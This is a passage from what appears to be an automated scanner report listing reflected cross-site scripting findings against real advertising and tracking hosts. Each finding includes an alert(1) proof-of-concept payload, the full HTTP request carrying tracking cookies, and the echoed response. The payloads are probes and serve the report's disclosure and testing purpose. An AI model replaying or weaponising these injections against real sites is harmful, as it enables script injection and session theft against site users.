GET /serve/fb/adtag.js?tid=59178&type=lead96529"-alert(1)-"272e77259e6&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSaDgQAAAAA./cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA./referrer=http%253A%252F%252Fwww.huffingtonpost.com/clickenc=http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%253D%2526dst%253D HTTP/1.1
Host: imp.fetchback.com
Proxy-Connection: keep-alive
Referer: http://ib.adnxs.com/if?enc=oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAgUCAAIAAAAABiaUgQAAAAA.&pubclick=http://bid.openx.net/click?cd%3DH4sIAAAAAAAAABXLyQ3CMBAF0B8CyFLa4DqSxx5vSJRAEV7GEsdUQH1UQCXcUd79bVgA3Lrvlqt3lJN0kshKJSZHNbTA2Q8bhhqcnp_7b8N6jNSmZceRqhYmkTGocek0M5fIMotqMDgD6WFwwfJ9G1yB_YU_okJriHMAAAA%3D%26dst%3D&tt_code=huffingtonpost.com&udj=uf%28%27a%27%2C+2248%2C+1305033483%29%3Buf%28%27c%27%2C+61473%2C+1305033483%29%3Buf%28%27r%27%2C+272040%2C+1305033483%29%3Bppv%287166%2C+%27265419216675680020%27%2C+1305033483%2C+1336569483%2C+61473%2C+25661%29%3B&cnd=!GR5c4gih4AMQqM0QGAAgvcgBMAA41itAAEiaAlAAWABg2gFoAHAAeACAAQCIAQCQAQGYAQGgAQGoAQOwAQG5Aa5H4XoUruM_wQGuR-F6FK7jP8kBEFg5tMh28j_QAQA.&referrer=http://www.huffingtonpost.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uat=1_1304506950; cmp=1_1304903354_13521:0_11051:0_13981:208292_13479:208292_15758:367625_12704:367625_4895:795810_10164:1160086_10638:1160086_10640:1160086_10641:1160086_1437:1160086_1660:1723682; sit=1_1304903354_3006:489:0_3455:208292:208292_2988:430572:396401_3801:543015:542595_1714:827548:795810_3306:1055174:367625_719:1160913:1160086_2451:1211782:1206682_3236:1369745:1369627_782:1724031:1723682; bpd=1_1304903354_1ZunS:78_1ZCU5:4QUb; apd=1_1304903354_1ZunS:6O; afl=1_1304903354; cre=1_1304957859_29881:55445:1:0_24309:52570:1:2885_24308:52572:1:2887_29805:59534:2:8185_29807:59535:1:8190_29802:59536:1:596888; uid=1_1304957859_1303179323923:6792170478871670; kwd=1_1304957859_12936:262797_11317:1214591_11717:1214591_11718:1214591_11719:1214591; scg=1_1304957859; ppd=1_1304957859

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:54:33 GMT
Server: Apache/2.2.3 (CentOS)
Set-Cookie: uid=1_1305035673_1303179323923:6792170478871670; Domain=.fetchback.com; Expires=Sun, 08-May-2016 13:54:33 GMT; Path=/
Cache-Control: max-age=0, no-store, must-revalidate, no-cache
Expires: Tue, 10 May 2011 13:54:33 GMT
Pragma: no-cache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 874

document.write("<"+"iframe src='http://imp.fetchback.com/serve/fb/imp?tid=59178&type=lead96529"-alert(1)-"272e77259e6&clicktrack=http://ib.adnxs.com/click/oQeraR1v3j_P91PjpZvcPwAAAKCZmfE_yCk6kst_4j-uR-F6FK7jPxQvhA5f9a4DSsYda6b2ziX1OslNAAAAAKNHAwBlAQAAGgEAAAIAAACoJgQAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE8g8BAQUCAAIAAAAABSa
...[SNIP]...

4.218. http://js.revsci.net/gateway/gw.js [csid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://js.revsci.net
Path:	/gateway/gw.js

Issue detail

The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload d26cf<script>alert(1)</script>ea0c6f6e33d was submitted in the csid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gateway/gw.js?csid=J05531d26cf<script>alert(1)</script>ea0c6f6e33d HTTP/1.1
Host: js.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=8e1e1163986432e20f9603df067356d2; NETSEGS_K05540=bff01c00ddc153c5&K05540&0&4de595d8&10&10572,10573,10342,10343,10391,10395,10432,10537,10538,10166&4dbfac5c&271d956a153787d6fee9112e9c6a9326; NETSEGS_H07710=bff01c00ddc153c5&H07710&0&4de96140&0&&4dc3b759&271d956a153787d6fee9112e9c6a9326; NETSEGS_H10972=bff01c00ddc153c5&H10972&0&4de961a8&0&&4dc36aa3&271d956a153787d6fee9112e9c6a9326; NETSEGS_K05539=bff01c00ddc153c5&K05539&0&4de961b8&1&10592&4dc358e3&271d956a153787d6fee9112e9c6a9326; NETSEGS_J05531=bff01c00ddc153c5&J05531&0&4dea160e&0&&4dc4b40e&271d956a153787d6fee9112e9c6a9326; NETSEGS_B08725=bff01c00ddc153c5&B08725&0&4decdd55&1&10011&4dc75936&271d956a153787d6fee9112e9c6a9326; NETSEGS_I10982=bff01c00ddc153c5&I10982&0&4decdd8d&0&&4dc76d7a&271d956a153787d6fee9112e9c6a9326; NETSEGS_E05516=bff01c00ddc153c5&E05516&0&4decf25d&8&11797,12348,12360,12390,12566,12572,11854,50049&4dc75d7d&271d956a153787d6fee9112e9c6a9326; NETSEGS_J06575=bff01c00ddc153c5&J06575&0&4decf417&0&&4dc77286&271d956a153787d6fee9112e9c6a9326; NETSEGS_F07607=bff01c00ddc153c5&F07607&0&4decf45e&6&10124,10098,10078,10053,10100,10143&4dc74a5e&271d956a153787d6fee9112e9c6a9326; NETSEGS_G08769=bff01c00ddc153c5&G08769&0&4decfa31&2&10433,10524&4dc75824&271d956a153787d6fee9112e9c6a9326; NETSEGS_G07608=bff01c00ddc153c5&G07608&0&4decfa40&1&10009&4dc75095&271d956a153787d6fee9112e9c6a9326; udm_0=MLvv9CEJZjpv597JwPKJxC5gdVtCsylMowZVqFba93uE88QJ2vEqavgLcjsVMcRzx4ED/5y/VyTHIsMSIcx9P6/4Ptk7h7/kVBVRsmPoQ0hw3VqPpohQo6GreQTT2sfEif6/0pIL0JzPlqxK/xCHAtVfwdzEObtB3R+kx6vG3EsVv0K6pa5EEfSjOEijp9JtgQuc80ODTwi9NXDoTFNrxL8DDV3LkG2ZlqgCsiMORZ7xtrlmdgDHXcEbiYO6qzTakYWjU1ZI41JlwUO4LjBzsT2D88kEjz3zmJ8hYbJGh1xyWW+UKaN09mmhPt32izj+/bKvjbrFgyQt/gHgqsHSif0Ljdj+Q+A2KW90kaRcD0u9x1EWeGeDMNGnTxPsE4tZ29anP3V6HEHjSJzazKL2rLcDUyf1nOSiLrNKvMGZy+updNolU6VfrcAEA50kEg5b0ry5ei+qINqcO3xtTm9TzAlYqEHt/B53V+aryoPP39r9u4zReLY8geTRwwQDQoUeFJK0VDze8TYHKopng5lI2IkLISmZpypd7z+PhZGTiVr/e71zH/aQ3cDow0MzeLrze9TNge7GDhMK6Bxp9UlfjqHnCsR4zVPeIGrNxYURde9tIPz2ywkaWvKuHeu3aZqbw99oPf8zFzHxalafDxEC1mpcT487MYW5ku2dYRpKun7/Vx2AmYtjjJZcw/Z7WPMdXFLRW0a+mYubwHQRGsryV6eOV2vucJ+9xcq5ePJY/SCdmygrB1hYdRvSvcA+H1YrVpKWkbx/mbVQNRJyzgrdhxEMtMK1ZRTPoMuQtWSRn15LI9VI0tALzj5GlA/mo3wCuowH0fqvpBMU4f8t0gzZ8rRRSzwN8F12lK5YOv/zVoTou/ePU7fmDdcNrozd1isyC8ofB8v78w8ken9uIKsLkaD0FMrErnHIj4ErUxwK2H48tWjHdUsMCBED6QhPMXgqJDq3TkeQotpr6J5ZMwovC6u8L4DdC+06l7SyydDIk1HlIZrnXKZ1ygMTDy022fJhsEKgAakdMjLC0OCblO9QRztpyP91LyCx2NNTHKhipvnSGX8+fjzLDla7c86b6KLCwnsmsBclRjcDRQzQuAmX61hD6hx7DU19GH24WbSkpEWb77+sox6USQzlngCf8gtpoCeaObTlK+6twUC8KE3/pqTXp2zQOL2yqn0NuAlLOx0XPo5tc4MojAgLCLg9jTmGJYqcd09ZSFlJHlYslUdxgHavCHjX8nzxWJZTzBBdTDQAE/XS1cyO+O6K5J9H/bkeEUcLT8G7WRyvwtsEzIn/l4x3lucy+df5rxwQyeFQPQaFNDtAJVIavzhtODiLsyWRg8/+s/4Jz8SGadvjXdPqIpwtPfk5s2RLg33k+48MGcWoRatsU9lJtr7sV9inc2hxQDRfC4DoCqu3z6jJjDF/I0bMRHjwceJSAcNCVgL6lC7o1U55tTB3dBI28epY73ix7AhT8mm7KJzbs1qdEKXKcEqeuoES5n8Im+vrybBEhH2keazFxEu04456aq/HKQ==; NETSEGS_K08784=bff01c00ddc153c5&K08784&0&4decfa7c&0&&4dc76015&271d956a153787d6fee9112e9c6a9326; rsiPus_6O_R="MLsXrqEubghv55A4WwmsZyXO5dh1YsLXsqmJC5K5BG8IwO25Be/9pHqG4DIRtLmBx8/ODOw5wm1kNh67JnaXDY3FfcF+Lmmo1zZiOfAVJYZD4qDlTmh9CM8eea4ra5DioZ7YirItrnZHrCq01ftxQR0cTUvCO4Zeyyw3xxqg89fbFhp4RQKQFhLMfV2HBv/uxF+8TLt2n6rTdw9dYx08XLbFpdUab6C52BEchAsX25nYuCn6kF14xR+eAqO/lid4Mjgn6NvkbnEaG5dEo8r2bijU1VZGo8lzhwc1D5KvxtoAqsHbh3prPT9Iev8bCnY4bY8MoqEJoMMapLhhtMu4IugqD7vFow6D8sfE62GuNkPmH/tF79KTt3VqFA7tBrGq8cosDJ2FWqNVESXup3HUYr25U72Aw/GnyWv/9CT3gHN1yT3I4MnCmeouX2W/1aX2RrHS8UPkLsR2csAd+zTUFsK+gLCBQ+8Kq/kvCmW8xXXtUn432Rf5JNMircn5mzx1FXZbS4e6Ou32dsTy14z3hwds8s1ok4DwUcbFrphfZ8ZGzN7G9Rwsdw6SADPqCtl48Bc8ebaQ5h5/8nCjShuffDXwLULQxcfMque+0xBuD0O9xM6hgABllAiI2SWKPvLDgNu+HjP3iWVlWtkVo+Oog2BkKVB8m4Cjqa3m+s4lY9Qf2QU2p589buhIRXha0fgVIAEsCTVyFyA98BRwObGluNhqFWMTTwn6lb6/q7S/YDWFEG5uZWA9c5QNlJeqfgXEnNAuxiAfwATRtVU/XY0slf1GOY06Yi1tOzxx0lfw9G3F0DZLlZxMlY/87A9qMsAG9UUAO3YG0RzNkrJx1qDR1rwcxPurG2d/s1xj8YsF1fJqk6UtR2Cfkaf8KxhZapl/BBYbP8paBlwRxLiwpO13/GAPuejADImynwybwp9ezV5aV28DGuVkmwA3LMTvcsriIAFM4LrSiluqtQ4teWidgVXr0BVmrjNynJCW8dDlSTi1YB1Z38zfuMa0uIURvBXdfCh5wA2BH8vws4ZY7SGMGspuApljuNos9uzzPFez9+1hsSAzF+16AQVM+o2/GD61XorgFrCK07Ul1+WhXNpSuOY9EXifai/7S0dVwSaNDkQ8j/kiYrgSzAxcG2fDe0qjq3vGUWa52K6BU8qbyC/ky/5rdgS/+ZZlAYRUVQ=="; rsi_us_1000000="pUM1Iy+nMBYU1H01u1v9K4wAwWLCeGAfkLFpeb3Rd9NYdlv2zFMZYoF589KlKXV8nxyxCXd0JQJ4j1CLr1PGcfm2e0/40IDIu+PpMdgB5F6GyzHYqKsvJOf/PNy1/4uKAoTs4kNtpjNlmJSvtnKa2fJuLLiNhGZ2dcZHOilDJqEPlsDGfHeYrcF7kd+1JcOPPmrgJKFaLZQnUz5b0NGjQEIwSayWld12b4ZGOy6wDgZRYFxvvhtUQTDHjIjihlwXlh4xoJmRPvy04h88ycgOFEdwM5QFv49lcDTXfCzNMVLj74ngt82kivYXdhFeToYQLcYd8O3qU1fCQnIsTCNThgIyYICLNYTdskEVIJYdRfpoXFaS63l5VtHWN5r/5UOdUUe9IkUIB3Q2xbLhyeuBYEt2c2WrWxg/QwVPCs5b1yuFAOrrB2yMardBQgg9Tyfo/aBS5bCe/UX6Y6GkwndCfdoGhJpaPaKchlfv+I0n4f92DqWXE6MTOL58z808FhhupDYKwSDJDGmD4/ugQ+PXMGGzU2Gv4lKC9lRUIB/Cs4BqjLGaZ6OEfe9jrnqB3A7ASkH1CafhqAwaDxwctoZhMeuL0fiWl5cQFWTpXVxy3HZpk+VLPtcad3xxp+H9md3RBfu3B6HlrB/C12klB5AKNup/1EiGty3zKf+b1xRYE7wFAVJxwSK9dnrwfTeaVmcvKb8ZRT4bHiOL4dgaZQ7SYw5xopxfRizfKgiwa3ZVtmKARyLD+odH87kFbnlVBqw3XAO5QsAPX6JX2zZWPUyblCgcsK2GEbfJtgSo2fsT2pwpxbpFLXpvw0IVOGkxkxPb9IQ1hjZpCDlJAPeVnjBI7vblFWm0/E0MAE9Cd2sAK7mY6HbA9+jvLd/mK7UP4yC2R7nc+8CHY+mND1KmQMwZr0iEkq1cfr5XgzVoHw7SKOwVkyb3Pos/ESVgBH0w7+0xWDhlJeIMLnWkfz30jEeR32IenZkI3Gf+yZJhF2exZSrvrOxZDvptCFDtxk84/09UzEN3areMfZHEx/mOPPEz+DbZ/kJyUOU1A/JcoHmxe0nd8MPJDaYuJcKAApKBuc6pTHERiDM6c88MBxLpQL6jeQ2F3Z7oA3uk3ABuKJ3iMvZnlDfUely9OPoBTpo6IlEYxpJZkcKkf3XKgeYug4BWam/9uzRmBg7WNOz0S+qwdi9Iq+qvHo5BePWj1jBQwbAOczLExA553e3IDNlBPQHP/ijg3Kpq9PdMmcB01dPfk3xWBMivA0yRKKhKvXjN5ibza2/Le+Al9g/oFKWZZMPxtZO+JvhLzV0VJiLEvxCnKJgZmc07AFSpy3FsYlTi+GFZpoQ3SOpYhRuRn/BLVu4mqSPHIOQUJTxnWZaMJFdkRVMxZuLQzWZkuOCzjomewTQaxGBo5A0qIsET9H1NAVmnto1NEtrU89e8SRK3BMiIvS1C4R7euu2bVU+zwM4/OUggY0Y3REicZKoFMgtsMWEG3zhJPTcqntZeF2fQRe17c8zYCqnYCFD4xPtUI7ZzJjQXPEkjfaoHJhCEN74fSb/W1ZdRp8HKzAX1r9Ttbu+I9bUpCozNbgMJ5kUEo5Ns30IlCOcw"; rsi_segs_1000000=pUP140mheAIQf7vIQIJZ5AgxLtFMyqRP8jA13fHsKCTilibudk9vkUuquxUK+pw26DoKjOHFJg28jq9xKaNHCYFz66296/dmDCVwlaYPPWsBeRZnxnHKIHjlFzNTbppCY+q4KVmPlFgJeeL5nXDmnis8j4aF6dQW1r3Tf4T0xt0LqN7VmDipmExLfaG1eifMimbB/rxVfgELrwLv+1y2SZjk8BSiHzAm/ue1eXGmOZOcioWAxdinhiNJK4DJakw0p7/AqN+1FtkkmwG0I48Znk27d4wHi4U5dMV5ZX7RCugO2dpAwYQomroH07Ect8GV412ny11yBvLveOLRgBAOKPH42jFnOecK1EBHkqsc+0BgRsHxfcpMI8UIsOh3dLG1Von9zPS56GyiFw9bx4st4FaCw5RvUL+xhW8fh1aCbOpNI8VUn///fUH8yy6Ibnc58fl0JmPEHURwlVErfESnmbRdo3XDCXgwcAdgguw7lyGYoWwswx1ADCIgPIIJZ06VJ/xim4kPruzJO2J0+hcH+OmD2TcW84DityQNI0rj1Xk2BFHhfnR2oWHqJ++YaHZWGpgi5yYPEN/Lp8WZiu+2vLnnLebfmuI2npSKQ4PrsWRnE6YQ; rtc_ZG5p=MLvn9jM1Zwpr5wa9XJtPU2eU7jJKJLTK/c5AkGpBWgGzQ9IJwiuhHbQ7O9RcOWZS7Kx3Y+HDhWuC4loA/EF2Ag3Mzes/akimRpT3bnRmNbVFMsgOoJybQWrd2OmXm6bYiVnPhtGP4vvUCVUXociowvcB6HsaLb1pyapCZLPWJxc43LxwILgvuHMRrxYCESoctiqT46eFjxci1OlH7H79BcTD6raNLQJTt390EiyqsIj0Kd/5sd+4fw7z1D61FwMEB8f023mFv84m64IIXcitF1GO9oAe7Pfaa6s4gvxr2z1H6arVvkGFib1nYX+x92JFoXm8y6KmKPUMd0mGLZzpM1VIxqi/hYPjeYaVB7tUqab/QfrXBKOKRuey4AyItjiux1iHTyCLkkTqxAoj2VknUuIJ+8sFL1g1IcxAOZk3VeQEsIOHiskOm3CJclw50kSexQsFtIcfqYmOYZT0h2IkMXQ4H3OKzDyCV9IqBkD4O3f/csiF1PctPGy8AIVN6LVEfbvIebtov6g6eALRieglG0mh7izQQydkagZ1yYLUyM54wBct3DTiiznVzcKdTOwNow5pydpbw0raubH2DDXypOYqPr3FEVoBLRi4fUIx9YKb0HUCDPykBawGNgToeL1ATi6UhV6GeTqkTR0+PIYyg3sDvyW1t0lJisnl/PmpPvijZPSWFD+ttgoC1PuHpO4IcD3G7u5USuHOK212u4k9lEZQpuilp0gT/gEJw1NdiTxRkPhmZotlW3lBuTODklHUqyg+YcxDtve5OcfCqo+kI7bRTvEaAaoAz2l9sJOcn8U38JdjnmAMzzTa5Vb8dxtDYhL2F2KV8RsyUJUMmySmQn6O6dZu4DLrDBRphldGe3/M0PzgtwV6AumnSvJCvKBqa5axFUjmbIrc8wdv0CcwAp4/7AdII5lNgTAqHSOcF3OBZLMzw7FNu8J4+oWQ5jaGCvG7cCGcLr2W4RWZccEH92935j+O11Bjp2U24Pc2j2OoV859zylhn0IymH+dUx5n0dPtlUnHBZBLUXmMS6p9X3BViVErlK7bsDqjtF6Zk2z3fAF2E3dxKgIBES/dlkOIxRM0p3jN0fIET5Fl578rftcNwQCH04pnuDHHXjaVK3rKdGoZZd3vzS4iXXK3sxJUmy4D0UXnhajO01pL/dl1tYoANcDz2gW+0l7/fenBUmBxiN+IwpbnQDvJWyKSBbcuPk6RHxHiCO7v7o7nff3aMHAX4I2etKWq8KEKQqBmauViF45/gdcT53ft+HQGK8IAULEVH1yTIFLFIUwyyLzdKxl7xctoA/e1+ess+l4Bb/rA1Fy1sVwj1IeENW1xF7sfbiCRRi5nWS60hxcsu87BxsQ9d+4Nvj4aB7/s/KzXx7Ob0xPhAlbOQx/xw1oPO2fp8vy+xWc43SlIWjYH4iBcbFH4+QxaTuLjyZQsIBrFgnSgRtTwdQ1t1B/7lGO1dC900kq+VpUUwGOvDhBuWXD8/dDsvplz6ArQAB25mzNFr1XyV7wm2AngiO5fa79olU2XfokewKLg6+n7dnNkHmY9cAh1yjYRNLyj9Rb6fg92gB/hXil6WS6IbJRPkg3sh+Ju9MvyO2vzah5isvHZIAJhjgjzEhD2LAxM2wgvTEE6dkmMGJzunl6POvi/18Jml4bCifrChX3tKyTJvtagTLn9Mupy8OXySUu/FlVQVkg7hKa0ix1+1XiwD9RHh403tx2jDfknFCuB0EVUaNts8hHiPQqr8bBGT6vQ6JGwPEMOr4lBJ6R29zuOguo1cBIoaaN8+stpTU2hSR3ABeUNo5JMAiISW5ylR5kp+dcJ8FYgASO8LyaMQvCkp7/vWAHl+eRs6rzZODpR0FqPPXOIDeBEGhFOt7D3BAkos0dw7J2pjxF2bLFBp75kvC8TRlJ5x0v6wguShL6JoGDgUv46NHQtqp12FREYBMaMKrMolda+B5uacXyeTwo=

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Tue, 10 May 2011 13:13:45 GMT
Cache-Control: max-age=86400, private
Expires: Wed, 11 May 2011 13:13:45 GMT
X-Proc-ms: 0
Content-Type: application/javascript;charset=ISO-8859-1
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:13:45 GMT
Content-Length: 128

/*
* JavaScript include error:
* The customer code "J05531D26CF<SCRIPT>ALERT(1)</SCRIPT>EA0C6F6E33D" was not recognized.
*/

4.219. http://knowyourmobile.uk.intellitxt.com/al.asp [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://knowyourmobile.uk.intellitxt.com
Path:	/al.asp

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload fd9d5%3balert(1)//9aef554c6c3 was submitted in the jscallback parameter. This input was echoed as fd9d5;alert(1)//9aef554c6c3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /al.asp?ts=20110510131541&adid=0%2C14872&cc=us&di=33127190%2C31915007&hk=1&ipid=14089&mh=c25f8ff13faefad690988e8be329a724&pid=2%2C2&pvm=0706f7abafe856474d3639215b70ebbd&pvu=5DDCA14E2722478386D39F89663D13A2&rcc=us&so=0&syid=0%2C0&uf=0%2C0&ur=0%2C0&kp=74%2C548%3B397%2C855%3B&prf=ll%3A1389%7Cintl%3A3919%7Cpreprochrome%3A2%7Cgetconchrome%3A99%7Cadvint%3A4022%7Cadvl%3A4022%7Ctl%3A4124&jscallback=$iTXT.js.callback1fd9d5%3balert(1)//9aef554c6c3 HTTP/1.1
Host: knowyourmobile.uk.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAA0AAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKNQEAAAABAAABL9oL6ucAAArbAQAAAAEAAAEv2gvq5wAACnoBAAAAAQAAAS/aC+rnAAAKPQEAAAACAAABL9WNcksAAAEv1Y75RwAACl0BAAAAAQAAAS/VjXJLAAAK1QEAAAABAAABL5IvXhoAAArJAQAAAAEAAAEvki9eGgAACmMBAAAAAQAAAS/aC+rnAAAK5wEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKxwEAAAABAAABL5IvXhoAAApPAQAAAAIAAAEv1Y1ySwAAAS/VjajnAAAAAPP1m88-"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAA-

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAA-; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:59:47 GMT; Path=/
Content-Type: text/javascript
Content-Length: 65
Date: Tue, 10 May 2011 13:59:47 GMT
Age: 0
Connection: keep-alive

try{$iTXT.js.callback1fd9d5;alert(1)//9aef554c6c3();}catch(e){}

4.220. http://knowyourmobile.uk.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://knowyourmobile.uk.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5aac'-alert(1)-'f7aba7c92e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=11613&c5aac'-alert(1)-'f7aba7c92e=1 HTTP/1.1
Host: knowyourmobile.uk.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAArJAQAAAAEAAAEvki9eGgAACjcBAAAAAgAAAS/VjXJLAAABL9WO+UcAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKXQEAAAABAAABL9WNcksAAArnAQAAAAEAAAEvki9eGgAACtUBAAAAAQAAAS+SL14aAAAKTgEAAAACAAABL9WNcksAAAEv1Y75RwAACscBAAAAAQAAAS+SL14aAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAC5QIfW"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz

Response

HTTP/1.1 200 OK
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:39:20 GMT
Age: 0
Connection: keep-alive
Content-Length: 11738

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...
ol,ask,live,bing",
'ids.aol':"10",
'fields.aol':"query,as_q,q",
'fields.ask':"q",
'fields.google':"q,as_q"};
$iTXT.js.serverUrl='http://knowyourmobile.uk.intellitxt.com';$iTXT.js.pageQuery='ipid=14089&c5aac'-alert(1)-'f7aba7c92e=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();if (document.itxtIsReady) {document.itxtLoadLibraries();};
}

4.221. http://knowyourmobile.uk.intellitxt.com/v4/init [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://knowyourmobile.uk.intellitxt.com
Path:	/v4/init

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 4d31c%3balert(1)//1374ac9350c was submitted in the jscallback parameter. This input was echoed as 4d31c;alert(1)//1374ac9350c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1305033338266&pagecl=21405&fv=10&muid=&refurl=http%3A%2F%2Fwww.knowyourmobile.com%2Ffeatures%2F881740%2Fgoogle_io_what_to_expect.html&ipid=14089&jscallback=$iTXT.js.callback04d31c%3balert(1)//1374ac9350c HTTP/1.1
Host: knowyourmobile.uk.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz; VM_PIX="AQAAAA0AAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKNQEAAAABAAABL9oL6ucAAArbAQAAAAEAAAEv2gvq5wAACnoBAAAAAQAAAS/aC+rnAAAKPQEAAAACAAABL9WNcksAAAEv1Y75RwAACl0BAAAAAQAAAS/VjXJLAAAK1QEAAAABAAABL5IvXhoAAArJAQAAAAEAAAEvki9eGgAACmMBAAAAAQAAAS/aC+rnAAAK5wEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKxwEAAAABAAABL5IvXhoAAApPAQAAAAIAAAEv1Y1ySwAAAS/VjajnAAAAAPP1m88-"

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
